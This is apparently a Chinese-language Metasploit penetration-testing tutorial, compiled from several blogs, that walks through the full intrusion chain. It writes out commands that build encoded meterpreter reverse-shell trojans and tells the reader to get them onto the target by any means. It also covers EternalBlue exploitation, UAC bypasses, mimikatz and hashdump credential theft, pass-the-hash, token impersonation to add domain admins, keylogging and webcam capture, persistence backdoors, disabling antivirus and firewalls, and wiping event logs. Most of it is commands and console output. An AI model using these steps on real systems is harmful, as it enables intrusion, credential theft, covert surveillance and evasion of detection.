自己本地生成的 bind_tcp 的 payload 如果不能在 Windows 机器上运行 (提示不是可用的Win32程序;如果大家也有遇到这种错误的话,推荐用 msfvenom 生成 c 的 shellcode,然后自己编译为exe 后运行。使用 msfvenom --list 可以查看所有的 payload encoder nops。

命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.152 LPORT=443 -f exe > c.exe

参数说明:

  • -p payload
  • -e 编码方式
  • -i 编码次数
  • -b 在生成的程序中避免出现的值
  • LHOST,LPORT 监听上线的主机IP和端口
  • -f exe 生成EXE格式

upx 加壳

说明:upx只是压缩壳工具;如果需要增大破解难度,需要添加加密壳。

upx -9 c.exe

Linux、window、android、php、asp、jsp、python、bash、perl 木马

下面是生成后门木马,只要想方设法放到目标机器上,并运行。然后在本地监听端口即可,

但是你需要有一个公网的ip

示例:生成 Windows 木马、连接木马

用法:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

示例:https://zhuanlan.zhihu.com/p/114973728

命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.73.129 LPORT=4321 -f exe -o ailx13_love.exe

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
info
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.73.129
msf6 exploit(multi/handler) > set LPORT 4321
msf6 exploit(multi/handler) > exploit                 或者执行 run

meterpreter > ?

核心 命令
=============
    ?                         帮助
    background                当前 session 放到 后端
    bg                        background 的 别名
    bgkill                    结束一个 后端 meterpreter script
    bglist                    列出正在运行的 后端 scripts
    bgrun                     执行一个 meterpreter script,同时作为后端线程
    channel                   显示信息或控制活动 channel ( 通道 )
    close                     关闭一个 channel
    detach                    分离 meterpreter session (用于 http/https)
    disable_unicode_encoding  禁用unicode字符串编码
    enable_unicode_encoding   启用unicode字符串编码
    exit                      终止 meterpreter session
    get_timeouts              获取当前会话超时时间
    guid                      获取 GUID
    help                      帮助
    info                      Displays information about a Post module
    irb                       在当前会话中打开一个 Ruby shell
    load                      载入一个或者多个 meterpreter 扩展
    machine_id                获取计算机的MSF ID
    migrate                   将服务迁移到其他进程 ( 注入到其他进程 )
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      从 channel 读数据
    resource                  运行存储在文件中的命令
    run                       执行 meterpreter script 或者 Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  快速切换到另一个会话
    set_timeouts              设置当前会话超时值
    sleep                     强制 Meterpreter 睡眠多少秒后再次连接
    ssl_verify                修改SSL证书验证设置
    transport                 Manage the transport mechanisms
    use                       load 的别名,已经弃用。
    uuid                      获取 uuid
    write                     向 channel 写数据


Stdapi: 文件 系统 命令
============================

    Command       Description
    -------       -----------
    cat           
    cd            
    checksum      检索文件的校验和
    cp            
    del           
    dir           
    download      下载文件或者目录
    edit          编辑文件    
    getwd         打印工作目录
    getlwd        打印本地工作目录
    lcat          
    lcd           
    lls           
    lpwd          
    ls           
    mkdir         
    mv            
    pwd           
    rm            
    rmdir         
    search        搜索文件
    show_mount    列出所有挂载点/逻辑驱动器
    upload        上传文件或者目录


Stdapi: 网络 命令
===========================
    arp           显示主机的 ARP 缓存
    getproxy      显示当前代理配置
    ifconfig      显示所有网络接口
    ipconfig      显示所有网络接口
    netstat       显示所有网络连接
    portfwd       转发一个本地端口到远程服务
    resolve       在目标上解析一组主机名
    route         查看并修改路由表


Stdapi: 系统 命令
=======================
    clearev       清除事件日志
    drop_token    放弃任何活动的模拟令牌。
    execute       执行命令
    getenv        获取一个或多个环境变量值
    getpid        获取当前进程 id
    getprivs      尝试启用当前进程可用的所有权限
    getsid        获取 sid
    getuid        获取 uid
    kill          终止进程
    localtime     显示目标系统日期、时间
    pgrep         按名称过滤进程
    pkill         按名称终止进程
    ps            列出运行的进程
    reboot        重启远程电脑
    reg           操作远程注册表
    rev2self      在远程计算机上调用 RevertToSelf()
    shell         进入远程系统 shell
    shutdown      关闭远程电脑
    steal_token   试图从目标进程窃取模拟令牌
    suspend       暂停或恢复进程
    sysinfo       获取有关远程系统的信息,例如:操作系统


Stdapi: 用户 接口 命令
===============================
    enumdesktops   列出所有可访问的桌面和 windows工作站
    getdesktop     获取 meterpreter 桌面
    idletime       返回远程用户空闲的秒数
    keyboard_send  发送按键
    keyevent       发送按键事件
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  开始捕获按键
    keyscan_stop   停止捕获按键
    mouse          发送鼠标事件
    screenshare    实时观察远程用户桌面
    screenshot     截图
    setdesktop     改变 meterpreters 当前桌面
    uictl          控制用户界面组件


Stdapi: 摄像头 命令 ( Webcam Commands )
=======================
    record_mic     从默认麦克风录制音频X秒
    webcam_chat    开始视频聊天
    webcam_list    网络摄像头列表
    webcam_snap    从指定的摄像头拍一个快照
    webcam_stream  播放指定摄像头的视频流


Stdapi: 音频输出命令 ( Audio Output Commands )
=============================
    play          在目标系统上播放一个波形音频文件(.wav)


Priv: 提升权限 
======================
    getsystem     尝试把权限提升到系统权限


Priv: 密码数据库命令
================================   
    hashdump      转储 SAM 内容


Priv: timestomp伪造时间戳
========================    
    timestomp     操作文件 MACE 属性

meterpreter > 

木马 运行后,连接到 服务端,服务端会自动进程 peterpreter,

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第29张图片

msf 常用命令

From:https://www.freebuf.com/sectool/210292.html

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第30张图片

信息收集

发现目标网段的存活主机:

可以利用 auxiliary 这个模块来获取目标网端的信息,包括端口开放情况、主机存活情况。

auxiliary/scanner/discovery/arp_sweep

auxiliary/scancer/smb/smb_version 存活的445主机

auxiliary/scanner/portscan/syn  端口扫描

auxiliary/scanner/telnet/telnet_version telent服务扫描

auxiliary/scanner/rdp/rdp_scanner 远程桌面服务扫描

auxiliary/scanner/ssh/ssh_version ssh主机扫描

。。。。。。

如图:扫描模块信息

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第31张图片

一般情况下我们在渗透测试的时候,如果在不知道资产的情况下,我们会把整个网端进行扫描存活主机,然后再对存活的信息收集信息,这样的话就可以缩短我们的渗透测试时间,而不盲目的去测试,有时候盲目信息收集会导致后期渗透的道路都是弯的,达不到预期的效果。

不管是端口扫描还是探测存活主机,都是要设置目标IP地址set rhosts ip地址,如果扫描整个网段的话,最后设置一下线程:set thread 线程数(根据情况设置)。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第32张图片

执行 run 命令开始扫描网段的存活主机,发现有7台服务器存活,这样的话我们就可以对这些存活主机进行下一步的信息收集,比如22、445、3389等敏感端口开放情况探测,在这里需要说明一下,以小白的渗透测试经验,一般我先不扫描整个网端,因为这样对目标主机有损耗,可以直接扫描有溢出漏洞的高危端口,如果有的话,那么就可以通过溢出进行提权,这样的方法也是一种捷径。相反的情况下,如果全端口扫描的话个人建议用nmap工具。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第33张图片

下面我们探测一下网段中开启445端口的主机,通过扫描发现网段中有3台主机开启了445端口,这样的话我们就可以在后期的漏洞探测中测试是否存在永恒之蓝漏洞。

Use auxiliary/scanner/smb/smb_version

Set rhosts 192.168.201.1/24 //设置目标主机地址

Set threads 30   //设置扫描线程

Run //执行扫描命令

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第34张图片

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第35张图片

前期其它的端口扫描的命令都是差不多的,下面我们介绍一下爆破的模块,在kali中有自己内置的密码本,当然你也可以用自己的字典。你看多方便,想用就用,不用就不用。

内置密码表的地址:/usr/share/wordlists/metasploit/

一般爆破的话我们可以对ssh、mysql、sql、Oracle、vnc、telnet等常用的端口

1)auxiliary/scanner/mysql/mysql_login

2)auxiliary/scanner/mssql/mssql_login

3)auxiliary/scanner/ssh/ssh_login

4)。。。。。。

漏洞探测

接下来我们通过前期的信息收集,可以得到目标主机中有三台主机开启了445端口,我们可以进一步探测是不是存在永恒之蓝漏洞。我们可以用以下命令来探测一下:

在之前做培训的时候,本地搭建测试环境发现2008 R2的服务器漏洞验证的时候就直接蓝屏,具体原因不清。所以大家在渗透测试的过程中一定要合理的评估漏洞的可用性。通过扫描发现有一台目标主机存在永恒之蓝漏洞。其实除了永恒之蓝,也有许多其它的溢出漏洞,在这里就不一一详解了,原理都一样。

use auxiliary/scanner/smb/smb_ms17_010  //使用永恒之蓝探测模块

how options 查看需要添加的信息

set rhosts 192.168.205.1/24 //设置扫描目标主机IP地址

set threads 30 //设置扫描线程

Run //开启扫描

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第36张图片

漏洞利用

通过漏洞探测阶段我们发现192.168.205.150这台目标主机存在永恒之蓝漏洞,那我们可以使用MSF中的攻击模块进行漏洞攻击,看看能不能获取到目标主机的webshell,这样的话,我们就可以通过溢出漏洞来搞内网的横向扫描。执行以下命令:

use exploit/windows/smb/ms17_010_eternalblue //使用永恒之蓝攻击模块

set payload windows/meterpreter/reverse_tcp  //设置一个Payload,使攻击机接受来自目标主机的session

set rhosts 192.168.205.150  //设置目标主机地址

set lhost 192.168.205.148   //设置接受payload的地址,我们这里设置MSF的地址

set LPORT 5555              // 设置接受的端口,这个自己自定义,只要不与其它端口冲突就可以

Exploit                     //执行攻击命令

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第37张图片

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第38张图片

权限提升 ( 什么是UAC、UAC如何运行 )

当我们得到一个目标主机返回的shell后,我们第一步要看的是当前用户是不是管理员权限,如果不是管理员权限,这个时候需要我们去提权。我们可以利用kaili中的本地提权的方式,下面介绍一下本地提权绕过UAC的方式提升当前用户权限,以下是详细的命令以及步骤:

我们首先介绍一下这个UAC到底是什么东东,是怎么运行的?

1.什么是UAC?

Microsoft的Windows Vista和Windows Server 2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。

2.UAC如何运行?

UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。

因为有的用户是没有管理员权限,没有管理员权限是运行不了哪些只能通过管理员权限才能操作的命令。比如修改注册表信息、创建用户、读取管理员账户密码、设置计划任务添加到开机启动项等操作。

最直接的提权命令:getsystem

绕过UAC防护机制的前提是我们首先通过explloit获得目标主机的meterprter。获得meterpreter会话1后,输入以下命令以检查是否是system权限。在这里我就不直接演示了,直接上命令,自己多练习练习即可,所话说熟能生巧。我们需要把获取到的session保存到后台,执行background

方法一:

use exploit/windows/local/bypassuac  //将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

set session 1  //使用sessino 1

Exploit        //执行权限提升的攻击模式

执行完毕成功后,再次查询当前用户的权限就会提升到管理员权限。我这里已经是管理员权限了,所以会出现这样的提示。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第39张图片

方法二:Windows权限提升绕过UAC保护(内存注入)

此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。执行完毕以下命令,当前用户权限就会变为管理员权限。

use exploit/windows/local/bypassuac_fodhelper
set session 1
Exploit

方法三:通过COM处理程序劫持

首先介绍一下这个COM处理程序劫持,此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项。这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

use exploit/windows/local/bypassuac_comhijack
set session 1
Exploit

方法四:通过Eventvwr注册表项

这个模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()

use exploit/windows/local/bypassuac_eventvwr
set session 1
Exploit

以上的本地提权的模块大家可以本地去测试一下,除了这些某块还有其它的通过直接通过incognito中的add_localgroup_user提升、ms13-081、ms15-051、ms16-032、MS16-016、MS14-068、ms18_8120_win32k_privesc域权限提升等其它的权限提升方法。小白在内网渗透测试的过程中发现一些客户的服务器大多数为2003、2008服务器,很少2012、2016服务器。

内网渗透

既然目标主机shell也反弹了,用户权限从低权限也提升到了管理员权限,那么接下来就是我们进行内网渗透的时候了,内网渗透涉及的面比较广,在这一节也会详细的梳理一下常用的命令。 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第40张图片

cat       //查看文件内容
Getwd     //查看当前工作目录
Download  //下载文件到本地
// 本地创建一个1.txt,将1.txt上传到目标服务器的桌面位置:
Upload /opt/1.txt 目标主机

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第41张图片

在目标主机上面创建一个pass.txt,内容为hello hack!!!!,在MSF上执行download下载命令,将pass.txt下载到攻击机上面。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第42张图片

命令格式:Download 目标主机文件 本地文件路径

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第43张图片

ipconfig / ifoncig //查看目标主机IP地址;
arp –a      //用于查看高速缓存中的所有项目;
route       //打印路由信息;
netstat -na //可以显示所有连接的端口
Rdesktop    //使用rdesktop来连接 -u 用户名 -p 密码, 这个命令需要在kali上面安装一下。
当我们获取到管理员账号密码的时候就可以直接本地远程登陆目标主机。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第44张图片

其中路由信息对于渗透者来说特有用,因为攻击机处于外网,目标主机处于内网,他们之间是不能通信的,故需要添加路由来把攻击机的IP添加到内网里面,这样我们就可以横扫内网,就是所谓的内网代理。

首先我们需要获取网段,然后再添加路由,添加成功后就可以横向扫描内网主机。

run get_local_subnets //获取网段

run autoroute -s 192.168.205.1/24 //添加路由

run autoroute -p //查看路由

run autoroute -d -s 172.2.175.0 //删除网段

run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 //探测该网段下的存活主机。

meterpreter > background //后台sessions

系统信息

Ps        // 查看目标主机的进程信息
Kill      // 杀掉某个进程
Getuid    // 查看权限
Pwd       // 查看当前目录路径(目标主机)
Sysinfo   // 查看目标主机信息,比如版本信息等
Shutdown  // 关机操作(谨慎操作)

Post 模块信息

这个用的比较多,比如检查目标系统是不是虚机、安装了哪些软件、补丁信息等。其实这个模块不仅限于这些模块,有兴趣的大佬可以去玩一玩。

Run post/windows/gather/checkvm //查看目标主机是否为虚机;
run post/windows/gather/enum_applications   //获取目标主机安装软件信息;
Run post/windows/gather/enum_patches  //查看目标主机的补丁信息;
run post/windows/gather/enum_domain   //查找目标主机域控。我本地没有域控;
run post/windows/manage/killav        //关闭杀毒软件;
run post/windows/manage/enable_rdp    //开启3389远程桌面;
run post/windows/gather/enum_logged_on_users  //列举当前登陆过主机的用户;
run post/windows/gather/credentials/windows_autologin  //抓取自动登陆的用户名和密码;
run post/windows/manage/enable_rdp username=xxx password=xxx  //添加远程桌面的用户(同时也会将该用户添加到管理员组) 

Load 命令

用来加载模块的,在测试中用的最多的就是抓取用户密码的这个模块。
load mimikatz  // 加载mimikatz,用于抓取密码,不限于明文密码和hash值;
Run hashdump   // 获取用户密码hash值
msv            // 获取的是hash值
Ssp            // 获取的是明文信息
wdigest        // 读取内存中存放的账号密码明文信息
mimikatz_command -f samdump::hashes   // 获取用户hash
mimikatz_command -f handle::list      // 列出应用进程
mimikatz_command -f service::list     // 列出服务

后门持久化、权限维持

Persistence 模块

Persistence 模块帮助信息:Run persistence -h  // 查看帮助信息;
run persistence -U -i 5 -p 5555 -r 192.168.205.148
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址。

Metsvc 模块

模块帮助:run Metsvc -h

直接运行 run metsvc,命令执行完毕后在目标主机上面就会有一个meterpreter这个服务,类型为自动启动。开启另一个客户端用hander下的监听模块,重新获取shell,这里的监听的端口为31337

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第45张图片

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第46张图片

痕迹清除

在渗透入侵的过程中难免会留下一下日志信息痕迹,使用 clearev 命令是最直接的删除日志的命令,擦除留下的痕迹。运行命令后目标主机上面的日志会全部删除。

Run getgui -e //开启远程桌面;
Run getgui -u cmdback -p 123123  //添加用户
Run getgui -f 4446 -e //将目标主机上面的3389端口转发到4446
netsh advfirewall set allprofiles state off  //关闭防火墙
Webscan_list      //查看摄像头列表;
Webscan_stream    //摄像头视频获取;
Webscan_chat      //查看摄像头接口;
steal_token 试图窃取指定(PID)进程的令牌
use incognito //加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens –u //列出目标主机用户的可用令牌
list_tokens –g //列出目标主机用户组的可用令牌
keyscan_start    //开启键盘记录功能
keyscan_dump    //显示捕捉到的键盘记录信息
keyscan_stop    //停止键盘记录功能
run post/windows/gather/enum_chrome  //获取谷歌缓存
run post/windows/gather/enum_firefox //获取火狐缓存
run post/windows/gather/enum_ie    //获取IE缓存
screenshot   //截屏

background         # 让meterpreter处于后台模式
sessions -i number # 与会话进行交互,number表示第n个session
quit               # 退出会话
shell              # 获得命令行
cat c:\\boot.ini   # 查看文件内容
getwd              # 查看当前工作目录 work directory
upload /root/Desktop/netcat.exe c:\\  # 上传文件到目标机上
download 0xfa.txt /root/Desktop/      # 下载文件到本机上
edit c:\\boot.ini                     # 编辑文件
search -d d:\\www -f web.config       # search 文件
ps                  # 查看当前活跃进程
migrate pid         # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe  # 创建新进程cmd.exe,-H不可见,-i交互
getpid              # 获取当前进程的pid
kill pid            # 杀死进程
getuid              # 查看权限
sysinfo             # 查看目标机系统信息,如机器名,操作系统等
getsystem           # 提权操作
timestompc:/a.doc -c "10/27/2015 14:22:11"  # 修改文件的创建时间

迁移进程
meterpreter > ps
自行选择PID
meterpreter > migrate pid

提权操作
getsystem 大部分都会失败 他只尝试了4个Payload。
meterpreter > getuid
Server username: Testing\Croxy
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
使用MS14-058之类的Exp进行提权
meterpreter > background
[*] Backgrounding session 3..
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set SESSION 3

获取敏感信息
run post/windows/gather/checkvm     # 是否虚拟机
run post/windows/gather/enum_applications # 获取安装软件信息
run post/windows/gather/dumplinks   # 获取最近的文件操作
run post/windows/gather/enum_ie     # 获取IE缓存
run post/windows/gather/enum_chrome # 获取Chrome缓存
run scraper #获取常见信息
# 保存在 ~/.msf4/logs/scripts/scraper/ 目录下

键盘记录
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
dir  cd  
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

网络嗅探
meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces
1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_dump 2 /tmp/test2.cap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 1176 packets (443692 bytes)
[*] Downloaded 100% (443692/443692)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/test2.cap

获取hash
meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against TESTING
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[+] Croxy:"Whoareyou"
[*] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::
[+] test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::

获取明文密码
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : Testing
BootKey : 8c2c8d96e92a8ccfc407a1ca48531239
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Croxy ; Testing ; hehe }
[1] { test ; Testing ; test }

通过hash获取权限
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options 
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SHARE ADMIN$ yes The share to connect to, can be an admi n share
(ADMIN$,C$,...) or a normal read/write folder share
SMBDomain WORKGROUP no The Windows domain to use for authentic ation
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky
SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.0.3:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...
[*] Uploading payload...
[*] Created \UGdecsam.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \UGdecsam.exe...
[*] Sending stage (749056 bytes) to 192.168.0.254
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877)

内网渗透
端口转发 (将远程主机3389端口转发到本地1234端口上)
meterpreter > portfwd add -l 1234 -p 3389 -r 10.42.0.54
[*] Local TCP relay created: 0.0.0.0:8081 <-> 10.42.0.54:80

内网代理
meterpreter > run autoroute -s 10.42.0`.54
[*] Adding a route to 10.42.0.54/255.255.255.0...
[+] Added route to 10.42.0.54/255.255.255.0 via 10.42.0.54
[*] Use the -p option to list all active routes
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(socks4a) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.42.0.54 255.255.255.0 Session 1
msf auxiliary(socks4a) > ifconfig
[*] exec: ifconfig
msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx
SRVHOST => xxx.xxx.xx.xx (xxx.xxx.xx.xx为自己运行msf的vps机子)
msf auxiliary(socks4a) > exploit
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
之后使用proxychains 设置socks4代理 链接vps上的1080端口 就可以访问内网了。

SSH代理
msf > load meta_ssh
msf > use multi/ssh/login_password
msf > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf > set USER test
USER => test
msf > set PASS reverse
PASS => reverse
msf > set PAYLOAD ssh/metassh_session
PAYLOAD => ssh/metassh_session
msf > exploit -z
[*] Connecting to [email protected]:22 with password reverse
[*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28 03:51:16 +1300
[*] Session 1 created in the background.
msf > route add 192.168.57.0 255.255.255.0 1
之后就是愉快的内网扫描了。 
当然还是推荐直接用ssh -f -N -D 127.0.0.1:6666 [email protected]

窃取 token
meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID
meterpreter>steal_token pid
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
IIS APPPOOL\zyk
NT AUTHORITY\IUSR
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
QLWEB\Administrator
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
meterpreter > impersonate_token QLWEB\\Administrator
[+] Delegation token available
[+] Successfully impersonated user QLWEB\Administrator
meterpreter > getuid
Server username: QLWEB\Administrator
meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户
meterpreter>add_group_user “DomainAdmins” 0xfa –h192.168.3.98 #将账户添加至域管理员组

内网扫描
meterpreter > run autoroute -s 192.168.3.98
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
PORTS => 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24
RHOSTS => 192.168.3.1/24
msf auxiliary(tcp) > set THERADS 10
THERADS => 10
msf auxiliary(tcp) > exploit

后门
一个vbs后门,写入了开机启动项;但是容易被发现,还是需要大家发挥自己的智慧。
meterpreter > run persistence -X -i 5 -p 23333 -r 10.42.0.1
[*] Running Persistance Script
[*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333
[*] Persistent agent script is 148453 bytes long
[+] Persistent Script written to C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs
[*] Executing script C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs
[+] Agent executed with PID 4140
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr

Meterpreter服务后门
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\Croxy\AppData\Local\Temp\tuIKWqmuO...
[*] >> Uploading metsrv.x86.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
* Service metsvc successfully installed.
之后电脑就默默生成了一个自启服务meterpreter;然后连接后门。
msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set payload windows/metsvc_bind_tcp
payload => windows/metsvc_bind_tcp
msf exploit(handler) > set RHOST 10.42.0.54
RHOST => 10.42.0.54
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > exploit

清理痕迹
meterpreter > clearev
[*] Wiping 12348 records from Application...
[*] Wiping 1345 records from System...
[*] Wiping 3 records from Security...
meterpreter > timestomp

Metasploit 渗透测试指南

From:https://blog.csdn.net/qq_34640691/article/details/110812983

Metasploit 与 nmap

将 Nmap 输出的结果导入 metasploit

nmap -T4 -Pn -sS -A -oX result.xml 192.168.0.0/24
msf5 > db_status
db_import /home/kali/result.xml
hosts -c address

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第47张图片

在 msf 中使用 nmap

db_nmap -sS -A 192.168.0.104

services -u

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第48张图片

针对性扫描

SMB服务器消息块协议扫描

msf5 > use auxiliary/scanner/smb/smb_version 
msf5 auxiliary(scanner/smb/smb_version) > show options 
msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.104
RHOSTS => 192.168.0.104
msf5 auxiliary(scanner/smb/smb_version) > run

